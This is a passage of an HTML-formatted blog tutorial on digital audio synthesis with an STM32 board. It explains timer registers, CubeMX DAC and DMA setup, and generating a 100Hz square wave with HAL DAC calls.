&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;After initialisation, it&#39;s possible to change the timer frequency by setting the prescaler and auto-reload registers like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;TIM8&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;PSC &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// Prescaler: 1&lt;/span&gt;
TIM8&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;ARR &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3999&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Auto-Reload: 4000&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is useful for applications where the frequency is dynamic (e.g. playing music with a piezoelectric buzzer), but it&#39;s also useful when we&#39;re too lazy to modify the .ioc file.&lt;/p&gt;
&lt;h3 id=&quot;example-playing-with-timers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-playing-with-timers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: Playing with Timers&lt;/h3&gt;
&lt;p&gt;STM’s HAL library provides ready-made functions to interface with hardware.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token function&quot;&gt;HAL_TIM_Base_Start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Start the timer.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;HAL_TIM_Base_Stop&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// Stop the timer.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;These functions are used to start/stop timers for basic timing and counting applications.
Functions for more specialised modes (e.g. PWM) are available in &lt;code&gt;stm32f4xx_hal_tim.h&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;digital-to-analogue-converters-dacs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#digital-to-analogue-converters-dacs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Digital-to-Analogue Converters (DACs) 🌉&lt;/h2&gt;
&lt;p&gt;Let&#39;s delve into our second topic today: digital-to-analogue converters (DACs).&lt;/p&gt;
&lt;p&gt;Audio comes in several forms: sound waves, electrical voltages, and binary data.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Tolkien&#39;s world looks nothing like the three realms here.&quot; href=&quot;https://trebledj.me/img/CPT-Sound-ADC-DAC-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/CPT-Sound-ADC-DAC-1011w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1011 / 348&quot; alt=&quot;Image showing how audio is represented in the analogue, electronic, and digital worlds.&quot; title=&quot;Tolkien&#39;s world looks nothing like the three realms here.&quot; srcset=&quot;https://trebledj.me/img/CPT-Sound-ADC-DAC-256w.webp 256w, https://trebledj.me/img/CPT-Sound-ADC-DAC-512w.webp 512w, https://trebledj.me/img/CPT-Sound-ADC-DAC-1011w.webp 1011w, https://trebledj.me/img/CPT-Sound-ADC-DAC-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1011px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Audio manifests in various forms. DACs transform our signal from the digital realm to the analogue world. (Source: Pluke, &lt;a href=&quot;https://creativecommons.org/licenses/by-sa/3.0&quot;&gt;CC BY-SA 3.0&lt;/a&gt;, via Wikimedia Commons.)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Since representations vastly differ, hence the need for interfaces to bridge the worlds. Between the digital and analogue realms, we have DACs and &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Analogue-to-Digital Converters&quot;&gt;ADCs&lt;/abbr&gt; as mediators. Generally, DACs are used for output while ADCs are for input.&lt;/p&gt;
&lt;h3 id=&quot;a-closer-look-at-dacs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#a-closer-look-at-dacs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; A Closer Look at DACs&lt;/h3&gt;
&lt;p&gt;Remember &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1#sampling&quot;&gt;sampling&lt;/a&gt;? We took a continuous analogue signal and selected discrete points at regular intervals. An ADC is like a glorified sampler.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Free samples have returned!&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 400&quot; alt=&quot;Diagram sampling a sine wave at different frequencies (50 Hertz, 30 Hertz, 10 Hertz). There are more dots at higher frequencies.&quot; title=&quot;Free samples have returned!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;While ADCs take us from continuous to discrete, DACs (try to) take us from discrete to continuous. The shape of the resulting analogue waveform depends on the DAC implementation. Simple DACs will stagger the output at discrete levels. More complex DACs may interpolate between two discrete samples to “guess” the intermediate values. Some of these guesses will be off, but at least the signal is smoother.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Free samples have returned!&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/reconstruction-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/reconstruction-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 400&quot; alt=&quot;Another sampling diagram, but lines are drawn between dots, like staircases. This emulates how analogue signals are reconstructed from digital representations.&quot; title=&quot;Free samples have returned!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/reconstruction-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/reconstruction-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/reconstruction-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;On our STM board, signal reconstruction is staggered, like old platformer games—not that I&#39;ve played any. At higher sampling rates, the staggered-ness is less apparent and the resulting curve is smoother.&lt;/sup&gt;&lt;/p&gt;
&lt;h3 id=&quot;example-initialising-the-dac&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-initialising-the-dac&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: Initialising the DAC&lt;/h3&gt;
&lt;p&gt;Let’s return to CubeMX to set up our DAC.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;DAC settings from CubeMX.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-1-2280w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-1-2280w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2280 / 1104&quot; alt=&quot;DAC settings from CubeMX.&quot; title=&quot;DAC settings from CubeMX.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-1-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-1-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-1-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-1-2280w.webp 2280w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2280px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Enable DAC, and connect it to Timer 8 using the trigger setting. Our STM32F405 board supports two DAC output channels. This is useful if we want stereo audio output.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;DAC DMA settings from CubeMX.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-2-1728w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-2-1728w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1728 / 796&quot; alt=&quot;DAC DMA settings from CubeMX.&quot; title=&quot;DAC DMA settings from CubeMX.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-2-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-2-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-2-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-2-1728w.webp 1728w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1728px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Configure DMA settings for the DAC. We’ll cover DMA later.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Enable DAC DMA interrupts.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-3-1726w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-3-1726w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1726 / 410&quot; alt=&quot;Enable DAC DMA interrupts.&quot; title=&quot;Enable DAC DMA interrupts.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-3-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-3-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-3-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-3-1726w.webp 1726w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1726px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Enable interrupts for the DMA. These are needed to trigger DAC sends.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Again, remember to generate code when finished.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn9&quot; id=&quot;fnref9:1&quot;&gt;9&lt;/a&gt;&lt;/sup&gt; The &lt;code&gt;MX_DAC_Init()&lt;/code&gt; function should contain the generated DAC setup code and should already be called in &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;example-using-the-dac&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-using-the-dac&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: Using the DAC&lt;/h3&gt;
&lt;p&gt;On our STM32, DAC accepts samples &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1#quantisation&quot;&gt;quantised&lt;/a&gt; to 8 bits or 12 bits.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn10&quot; id=&quot;fnref10&quot;&gt;10&lt;/a&gt;&lt;/sup&gt; We’ll go with superior resolution: 12 bits!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Three options for DAC alignment are offered.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-dac-alignment-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-dac-alignment-1024w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1024 / 287&quot; alt=&quot;Three options for DAC alignment are offered.&quot; title=&quot;Three options for DAC alignment are offered.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-dac-alignment-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-dac-alignment-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-dac-alignment-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1024px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;STM32 offers three different options to quantise and align DAC samples. We’ll only focus on the last option: 12-bit right aligned samples. (Source: RM0090 Reference Manual.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn8&quot; id=&quot;fnref8:1&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;For simplicity, let’s start with sending 1 DAC sample. This can be done like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Start the DAC peripheral.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;HAL_DAC_Start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_CHANNEL_1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Set the DAC value to 1024 on Channel 1, 12-bit right-aligned.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;HAL_DAC_SetValue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_CHANNEL_1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_ALIGN_12B_R&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This should output a voltage level of $&#92;frac{1024}{2^{12}} = 25&#92;%$ of the reference voltage $V_{&#92;text{REF}}$. Once it starts, the DAC will continue sending that voltage out until we change the DAC value or call &lt;code&gt;HAL_DAC_Stop()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We use &lt;code&gt;DAC_CHANNEL_1&lt;/code&gt; to select the first channel, and use &lt;code&gt;DAC_ALIGN_12B_R&lt;/code&gt; to accept 12-bit right-aligned samples.&lt;/p&gt;
&lt;p&gt;To fire a continuous stream of samples, we could use a loop and call &lt;code&gt;HAL_DAC_SetValue()&lt;/code&gt; repeatedly. Let’s use this method to generate a simple square wave.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;An aside. The default &lt;code&gt;HAL_Delay()&lt;/code&gt; provided by STM will add 1ms to the delay time—well, at least in my version. I overrode it using a separate definition so that it sleeps the given number of ms.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;HAL_Delay&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;uint32_t&lt;/span&gt; ms&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint32_t&lt;/span&gt; start &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;HAL_GetTick&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;HAL_GetTick&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; start&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; ms&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token function&quot;&gt;HAL_DAC_Start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_CHANNEL_1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Alternate between high (4095) and low (0).&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;uint8_t&lt;/span&gt; high  &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint16_t&lt;/span&gt; sample &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;high &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4095&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// max = 4095 = 2^12 - 1.&lt;/span&gt;
    high &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;high&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;HAL_DAC_SetValue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_CHANNEL_1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_ALIGN_12B_R&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sample&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Delay for 5ms.&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;HAL_Delay&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This generates a square wave with a period of 10ms, for a frequency of 100Hz.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;A square wave at 100Hz.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-square-wave-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-square-wave-1024w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1024 / 768&quot; alt=&quot;A square wave at 100Hz.&quot; title=&quot;A square wave at 100Hz.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-square-wave-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-square-wave-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-square-wave-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1024px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Oscilloscope view of the signal. Oscilloscopes are very useful for debugging signals, especially periodic ones.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;But there are two issues with this looping method:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Using a while loop blocks the thread, meaning we block the processor from doing other things while outputting the sine wave. We may wish to poll for input or send out other forms of output (TFT/LCD, Bluetooth, etc.).&lt;/li&gt;
&lt;li&gt;Since &lt;code&gt;HAL_Delay()&lt;/code&gt; delays in milliseconds, it becomes impossible to generate complex waveforms at high frequencies, since that requires us to send samples at &lt;strong&gt;microsecond&lt;/strong&gt; intervals.&lt;/li&gt;
&lt;/ol&gt;
